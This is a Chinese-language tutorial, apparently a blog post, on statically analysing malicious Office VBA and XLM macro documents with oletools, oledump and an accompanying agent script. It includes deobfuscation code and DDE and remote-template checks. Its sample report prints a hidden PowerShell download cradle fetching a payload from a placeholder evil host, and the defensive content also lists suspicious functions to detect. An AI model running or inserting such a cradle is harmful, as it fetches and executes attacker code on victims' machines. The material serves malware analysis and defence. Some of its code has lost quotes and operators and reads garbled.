Anthropic-Cybersecurity-Skills 实战指南:Office 文档宏恶意软件(Maldoc)VBA 分析与反混淆全流程

Anthropic-Cybersecurity-Skills 实战指南:Office 文档宏恶意软件(Maldoc)VBA 分析与反混淆全流程 Anthropic-Cybersecurity-Skills 实战指南Office 文档宏恶意软件MaldocVBA 分析与反混淆全流程【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills本指南基于开源仓库 Anthropic-Cybersecurity-Skills 中的analyzing-macro-malware-in-office-documents技能SKILL.md系统讲解如何对携带恶意 VBA 宏的 Microsoft Office 文档Word / Excel / PowerPoint进行静态分析与攻击链还原。你将掌握 olevba、oledump.py、XLMDeobfuscator 等工具的完整用法学会识别下载装载器download cradle、自动执行触发器、持久化机制与反分析手法并能用仓库附带的 agent.py 一键完成从哈希计算、文档分诊、宏提取、可疑函数分析到 DDE/远程模板检测的自动化分析最终产出包含 IOC 与 MITRE ATTCK 映射的标准分析报告。适用场景与边界该技能在以下场景中激活邮件安全网关标记出可疑的 Office 文档.doc、.docm、.xls、.xlsm、.ppt调查利用武器化 Office 文档投递的钓鱼攻击活动需要从恶意文档中提取 VBA 宏代码定位载荷下载 URL 与执行方式分析混淆的 VBA 代码还原完整攻击链判断文档使用的是宏、DDE、ActiveX 还是远程模板注入等非宏攻击向量。需要明确边界不要用本技能分析非宏类的 Office 威胁如 DDE、远程模板注入——虽然本技能覆盖了这些向量的检测与初步判断但此类攻击可能还需要专门的深度分析手段参见技能中的 Do not use 说明。环境准备Prerequisites在开始分析前确保分析环境满足以下条件Python 3.8并安装 oletools 工具包pip install oletoolsDidier Stevens 的 oledump.py用于 OLE 流层面的精细分析XLMDeobfuscator用于 Excel 4.0 宏的反混淆pip install xlmdeobfuscatorLibreOffice用于安全渲染文档——默认不执行 VBA 宏关键安全前提在独立的隔离分析虚拟机中操作且不安装 Microsoft Office防止宏被意外触发执行。六步分析工作流技能文档将完整流程划分为六个步骤下面逐一展开并结合仓库源码深化。Step 1初始文档分诊Initial Document Triage首要任务是判断文档是否包含宏或其他活动内容# 用 olevba 快速分诊 olevba suspect.docm # 检查 OLE 流与宏 oleid suspect.docm # 综合 OLE 分析 oledump.py suspect.docm # 列出所有 OLE 流及宏标记 # 标记为 M 的流包含 VBA 宏 # 标记为 m 的流包含宏属性oleid 输出的关键指标如下这些字段在 api-reference.md 中有完整定义指标含义VBA MacrosTrue/FalseXLM MacrosTrue/FalseExternal RelationshipsTrue/False远程模板ObjectPoolTrue/False嵌入对象FlashTrue/FalseSWF 对象源码印证仓库中的 agent.py 通过oleid.OleID(filepath).check()实现分诊为每个指标记录value值、risk风险等级与description描述并在输出时附加风险标记[info[risk]]相当于把oleid命令行的可读性升级为结构化数据。Step 2提取并分析 VBA 代码确认宏存在后提取完整 VBA 宏源码# 带完整反混淆地提取 VBA olevba --decode --deobf suspect.docm # 仅提取 VBA 源码 olevba --code suspect.docm extracted_vba.txt # 用 oledump 精细提取流编号依据流列表调整 oledump.py -s 8 -v suspect.docm # 提取所有宏流 oledump.py -p plugin_vba_dco suspect.docm提取出的 VBA 代码需要重点核对以下要素Key VBA Elements to Identify: ━━━━━━━━━━━━━━━━━━━━━━━━━━━ 自动执行触发器 (Auto-Execution Triggers): - Auto_Open / AutoOpen (Word) - Auto_Close / AutoClose - Document_Open / Document_Close - Workbook_Open (Excel) - AutoExec 可疑函数 (Suspicious Functions): - Shell() / Shell.Application - WScript.Shell.Run / Exec - CreateObject(WScript.Shell) - PowerShell 执行 - URLDownloadToFile - MSXML2.XMLHTTP (HTTP 请求) - ADODB.Stream (文件写入) - Environ() (环境变量) - CallByName (间接方法调用)在 api-reference.md 中olevba 的输出被划分为四个区块AutoExec自动执行触发器、Suspicious危险函数、IOCURL/IP/文件路径等指标、Hex String十六进制编码字符串。同时 olevba 提供 Python API可直接在脚本中调用from oletools.olevba import VBA_Parser vba VBA_Parser(document.docm) if vba.detect_vba_macros(): for (fn, stream, vba_fn, code) in vba.extract_macros(): print(code) for (kw_type, keyword, desc) in vba.analyze_macros(): print(f{kw_type}: {keyword}) vba.close()agent.py 中的 analyze_vba_suspicious() 正是这套 API 的工程化封装它把analyze_macros()的返回结果按AutoExec、Suspicious、IOC、Hex String四类分别归档便于后续自动生成报告。Step 3VBA 代码反混淆Deobfuscation攻击者几乎总是对 VBA 做混淆处理。技能文档给出了一套基于正则的 Python 反混淆程序可依次剥离常见混淆层# VBA 反混淆技术 import re def deobfuscate_vba(code): # 1. 解析 Chr() 调用Chr(104) Chr(116) - ht def resolve_chr(match): try: return chr(int(match.group(1))) except: return match.group(0) code re.sub(rChr\$?\((\d)\), resolve_chr, code) # 2. 移除字符串拼接htt p:// - http:// code re.sub(r\s*\s*, , code) # 3. 解析 ChrW 调用ChrW(104) code re.sub(rChrW\$?\((\d)\), resolve_chr, code) # 4. 解析 StrReverseStrReverse(exe.daolnwod) - download.exe def resolve_reverse(match): return match.group(1)[::-1] code re.sub(rStrReverse\(([^])\), resolve_reverse, code) # 5. 移除 Mid$/Left$/Right$ 混淆较复杂标记为人工复核 # 6. 解析 Replace()Replace(Powxershxell, x, ) def resolve_replace(match): original match.group(1) find match.group(2) replace_with match.group(3) return original.replace(find, replace_with) code re.sub(rReplace\(([^]),\s*([^]),\s*([^]*)\), resolve_replace, code) return code with open(extracted_vba.txt) as f: vba_code f.read() deobfuscated deobfuscate_vba(vba_code) print(deobfuscated)源码级深化仓库的 agent.py 将上述每种混淆手法拆成独立函数——deobfuscate_chr_calls()处理Chr()/ChrW()agent.py、deobfuscate_concatenation()去除拼接L97-L99、deobfuscate_strreverse()解析StrReverseL102-L106、deobfuscate_replace()解析ReplaceL109-L117并由full_deobfuscation()依序串联应用L120-L126。相比文档示例agent.py 的实现更工程化Chr解析捕获ValueError/OverflowError异常后原样返回避免非法字符码导致脚本崩溃反混淆完成后通过 extract_urls_from_code() 用正则https?://[^\s]直接抽取出载荷 URL实现反混淆即出 IOC的流水线。Step 4分析 Excel 4.0XLM宏Excel 4.0 宏是早于 VBA 的遗留宏语言存储在隐藏工作表中常被传统 VBA 分析工具遗漏是绕过检测的重要手段# 检测 XLM 宏 olevba --xlm suspect.xlsm # 反混淆 XLM 宏 xlmdeobfuscator -f suspect.xlsm # 用 oledump 手工分析 XLM oledump.py suspect.xlsm -p plugin_biff.py需要重点关注的 XLM 宏函数函数用途EXEC()执行 shell 命令CALL()调用 DLL 函数REGISTER()注册 DLL 函数URLDownloadToFileA从 URL 下载文件ALERT()显示消息社工诱饵HALT()停止执行GOTO()控制流跳转IF()条件执行XLMDeobfuscator 支持--output-format json输出结构化结果参见 api-reference.md便于后续自动化处理。Step 5检查非宏攻击向量许多文档型攻击并不依赖宏。技能文档提供了两个 Python 脚本片段用于检查 DDE、远程模板与外部关系# 检查 DDE (Dynamic Data Exchange) python3 -c import zipfile import xml.etree.ElementTree as ET import re z zipfile.ZipFile(suspect.docx) for name in z.namelist(): if name.endswith(.xml) or name.endswith(.rels): content z.read(name).decode(utf-8, errorsignore) # DDE 域代码 if DDEAUTO in content or DDE in content: print(f[!] DDE found in {name}) dde_match re.findall(rDDEAUTO[^\]*\([^\])\, content) for m in dde_match: print(f Command: {m}) # 远程模板 if attachedTemplate in content or Target in content: urls re.findall(rTarget\(https?://[^\])\, content) for url in urls: print(f[!] Remote template URL: {url}) # 检查嵌入的 OLE 对象 oledump.py -p plugin_msg.py suspect.docm # 检查关系文件中的外部引用 python3 -c import zipfile z zipfile.ZipFile(suspect.docx) for name in z.namelist(): if .rels in name: content z.read(name).decode(utf-8, errorsignore) if http in content.lower() or ftp in content.lower(): print(fExternal reference in {name}:) import re urls re.findall(rTarget\([^\])\, content) for url in urls: print(f {url}) 源码印证agent.py 将这两个检查封装为可复用函数——check_dde()agent.py同时匹配DDEAUTO/DDE域代码和attachedTemplate/Target远程模板并容忍zipfile.BadZipFile/KeyError保证对非 OOXML 旧格式文档不报错check_external_relationships()L162-L175遍历所有.rels关系文件抽取外部 URL。这两个函数与宏提取结果一起被 generate_report() 汇总为最终报告。Step 6生成分析报告分析完成后需输出结构化的宏恶意软件分析报告包含以下要素Report should include: - 文档元数据作者、创建日期、修改日期 - 宏存在情况与类型VBA、XLM、DDE、远程模板 - 识别出的自动执行触发器 - 反混淆后的 VBA 源码关键函数 - 第二阶段载荷的下载 URL - 执行方式Shell、WScript、PowerShell、COM 对象 - 社工诱饵描述 - 提取的 IOCURL、域名、IP、文件哈希 - 针对该文档模式的 YARA 规则agent.py 的运行方式仓库自带基于 oletoolspython skills/analyzing-macro-malware-in-office-documents/scripts/agent.py document.docm|xlsm它会依次输出 SHA-256 哈希、oleid 分诊结果、宏流数量与文件名、Auto-exec/可疑函数/IOC、反混淆后 URL、DDE/远程模板发现最后打印 JSON 格式的结构化报告摘要agent.py。关键概念速查术语定义VBA Macro嵌入 Office 文档的 Visual Basic for Applications 代码可与操作系统交互、下载文件并执行命令Auto_Open打开 Word 文档时自动执行的 VBA 事件过程是宏恶意软件的主要触发器OLE (Object Linking and Embedding)Microsoft 复合文档格式Office 文档是包含宏与对象流的 OLE 容器DDE (Dynamic Data Exchange)遗留 Windows IPC 机制可被滥用以在无宏情况下执行命令通过域代码更新触发Remote Template Injection文档打开时从远程 URL 加载宏模板的攻击方式绕过初始宏检测XLM Macros (Excel 4.0)早于 VBA 的遗留 Excel 宏语言存储在隐藏工作表中常被传统 VBA 分析工具遗漏Protected ViewOffice 沙箱在用户点击启用内容前阻止宏执行社工攻击正是针对这一屏障展开工具与系统oletools (olevba)分析 OLE 文件的 Python 工具包支持提取 VBA 宏、检测可疑关键字与 IOColedump.pyDidier Stevens 的 OLE 流分析工具内置 VBA 解压与提取插件XLMDeobfuscator专用于反混淆 Excel 4.0XLM宏公式的工具ViperMonkeyVBA 模拟执行引擎可在沙箱环境中运行 VBA 宏以观察行为CLIvmonkey document.docmvmonkey --iocs document.docm仅提取 IOCYARA基于 VBA 字符串模式与 OLE 结构指标的文档型恶意软件模式匹配。实战场景分析含混淆 VBA 宏的钓鱼文档背景多名员工收到一封声称是发票的邮件附件为 .docm 文件文档提示用户启用内容Enable Content以查看完整内容。分析步骤运行oleid确认 VBA 宏存在并识别自动执行触发器用olevba --decode --deobf提取 VBA 代码进行初步反混淆定位自动执行入口点Auto_Open 或 Document_Open从入口点沿辅助函数追踪执行流反混淆字符串拼接与 Chr() 编码还原下载 URL识别下载方式WScript.Shell、MSXML2.XMLHTTP、PowerShell提取全部 IOC 并为特定混淆模式编写 YARA 规则。常见坑Pitfalls为了快速分析直接用 Microsoft Office 打开文档而非使用命令行工具遗漏 UserForms 中存储的 VBA 代码GUI 元素的事件处理器中可能藏有代码忽略可能包含攻击者指纹的文档元数据作者名、模板名未检查同一文档中是否同时存在 VBA 与 XLM 宏部分恶意软件两者并用。标准报告输出格式技能文档给出了可直接套用的报告模板OFFICE MACRO MALWARE ANALYSIS Document: invoice_q3_2025.docm SHA-256: e3b0c44298fc1c149afbf4c8996fb924... File Type: Microsoft Word Document (OOXML with macros) Author: Administrator Creation Date: 2025-09-10 14:23:00 MACRO ANALYSIS Type: VBA Macro Trigger: AutoOpen() Streams: 3 VBA streams (ThisDocument, Module1, Module2) DEOBFUSCATED EXECUTION CHAIN 1. AutoOpen() - Calls Module1.RunPayload() 2. RunPayload() builds command string via Chr() concatenation 3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA... 4. Decoded: IEX (New-Object Net.WebClient).DownloadString(hxxp://evil[.]com/payload.ps1) SOCIAL ENGINEERING LURE - Document displays fake Protected Document image - Instructs user to Enable Content to view the document - Content is blurred/hidden until macros execute EXTRACTED IOCs Download URL: hxxp://evil[.]com/payload.ps1 C2 Domain: evil[.]com IP Address: 185.220.101[.]42 User-Agent: PowerShell (default WebClient) MITRE ATTCK T1566.001 Phishing: Spearphishing Attachment T1204.002 User Execution: Malicious File T1059.001 Command and Scripting Interpreter: PowerShell T1059.005 Command and Scripting Interpreter: Visual Basic注意示例中对 URL/IP 使用了[.]去混淆defang标记这是 IOC 分享时的标准做法。报告中的 MITRE ATTCK 映射也与该技能 frontmatter 中声明的技术T1137.001 插入 Office 启动项、T1204.002 恶意文件用户执行、T1059.005 Visual Basic 命令解释器、T1027 混淆文件或信息保持一致同时该技能还映射了 NIST CSF 2.0 的 DE.AE-02、RS.AN-03、ID.RA-01、DE.CM-01 等能力类别以及 D3FEND 的文件元数据一致性校验、应用协议命令分析、标识符分析、内容格式转换、消息分析等防御技术便于将分析结论接入组织既有的检测与响应体系完整框架映射体系见 README.md。延伸阅读技能主文档SKILL.md工具 API 参考references/api-reference.md自动化分析脚本scripts/agent.py技能元数据校验工具tools/validate-skill.pyMITRE ATTCK 覆盖映射mappings/README.md【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考